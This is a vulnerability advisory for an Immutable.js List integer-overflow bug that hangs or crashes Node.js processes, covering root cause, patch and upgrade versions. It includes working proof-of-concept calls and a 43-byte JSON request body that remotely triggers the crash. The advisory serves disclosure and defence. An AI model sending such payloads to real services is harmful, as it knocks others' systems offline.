CVE-2026-59879: Immutable.js List 32-bit Trie Overflow leading to Denial of Service
A crafted oversized index passed to an Immutable.js List method triggers an infinite loop or heap exhaustion that crashes or permanently hangs the Node.js process with no way to catch the error.
The problem
Immutable.js `List#set`, `List#setSize`, `List#setIn`, and `List#updateIn` pass any supplied index or size through `setListBounds()`, which uses JavaScript's bitwise left-shift (`1 << exp`) to drive a level-raising loop inside the 32-wide trie. JavaScript bitwise operations are signed 32-bit, so once the exponent reaches 31 the result goes negative and the loop condition never becomes false.
On an empty `List` this produces an uncatchable CPU-spin infinite loop. On a populated `List` of 32 or more elements every loop iteration allocates a new trie node, exhausting the heap until V8 aborts the process with `SIGABRT` (exit 134) or the kernel OOM-kills it (exit 137).
A single small HTTP request carrying a numeric path segment is enough. The index may arrive as a numeric string directly from a request body, URL parameter, or `setIn` key-path. A companion `setSize` bug silently wraps large values via `ToInt32`, corrupting the list size without throwing.
Proof of concept
A working proof-of-concept for CVE-2026-59879 in immutable, with the exact payload below.
// Scenario 1: OOM -> process abort (SIGABRT, exit 134) within ~2 s
// Requires a populated List of >= 32 elements (fromJS of any 64-element array)
import { fromJS, List } from 'immutable';
fromJS({ items: new Array(64).fill(0) })
.setIn(['items', '1073741824'], 'x'); // index = 2**30, supplied as numeric string
// Scenario 2: Empty List -> hangs forever, uncatchable (try/catch never fires)
List().set(2 ** 30, 'x');
// Scenario 3: Silent size corruption via setSize
List([1, 2, 3]).setSize(2 ** 31); // => size 0 (silently cleared)
List([1, 2, 3]).setSize(2 ** 32 + 5); // => size 5 (wraps to 5)
// Minimal remote trigger (43-byte JSON body applied as: state = state.setIn(path, value))
// {"path":["items","1073741824"],"value":"x"}
// Any index in [2**30, 2**31) works: 1073741824, 2000000000, etc.The root cause is in the level-raising `while` loop inside `setListBounds()` in `src/List.js`. The loop condition is `newTailOffset >= 1 << (newLevel + SHIFT)`. JavaScript shift counts are taken mod 32, so when `newLevel + SHIFT` hits 31 the expression evaluates to `-2147483648` (negative), the condition stays permanently true, and the loop never exits.
On a populated List each iteration keeps a new `VNode([newRoot])` alive, so heap fills and the process aborts. On an empty List no allocation happens, producing a pure CPU spin.
The companion `setSize` corruption (CWE-190) is a separate but related path: `begin |= 0` and `end |= 0` apply `ToInt32`, silently wrapping `2**31` to `-2147483648` and `2**32 + 5` to `5`, yielding a wrong final size with no error.
The patch (commit `a1a1ee4` / `f0bc997`) adds a `validateListBoundsRequest()` call at the very top of `setListBounds()`, before any `| 0` coercion, that throws a catchable `RangeError` when the computed capacity exceeds `MAX_LIST_SIZE = 2**30`. It also replaces every `1 << exp` in the loop with a `levelCapacity(exp)` helper that uses the fast bitwise shift for `exp <= 30` and falls back to `2 ** exp` for deeper trees, eliminating the wrap-around entirely.
The fix
Upgrade to immutable 4.3.9 (v4 branch) or 5.1.8 (v5 branch). Both releases contain the same `setListBounds()` guard. If you cannot upgrade immediately, validate and clamp any externally supplied List index or `setIn`/`updateIn` key-path segment to be strictly less than `2**30` (1,073,741,824) before passing it to Immutable.
Running request handlers in a restartable worker and capping heap with `--max-old-space-size` limits blast radius but does not prevent the crash.
Reported by jdeniau.
Related research
- highCVE-2026-59880CVE-2026-59880: immutable Hash-Collision Algorithmic Complexity DoS
- high · 7.5CVE-2026-59874CVE-2026-59874: node-tar Infinite Loop via Negative Base-256 Entry Size
- high · 7.5CVE-2026-59869CVE-2026-59869: js-yaml Merge-Key Chain Quadratic CPU DoS
- high · 7.5CVE-2026-50272CVE-2026-50272: dd-trace Unbounded W3C Baggage Extraction DoS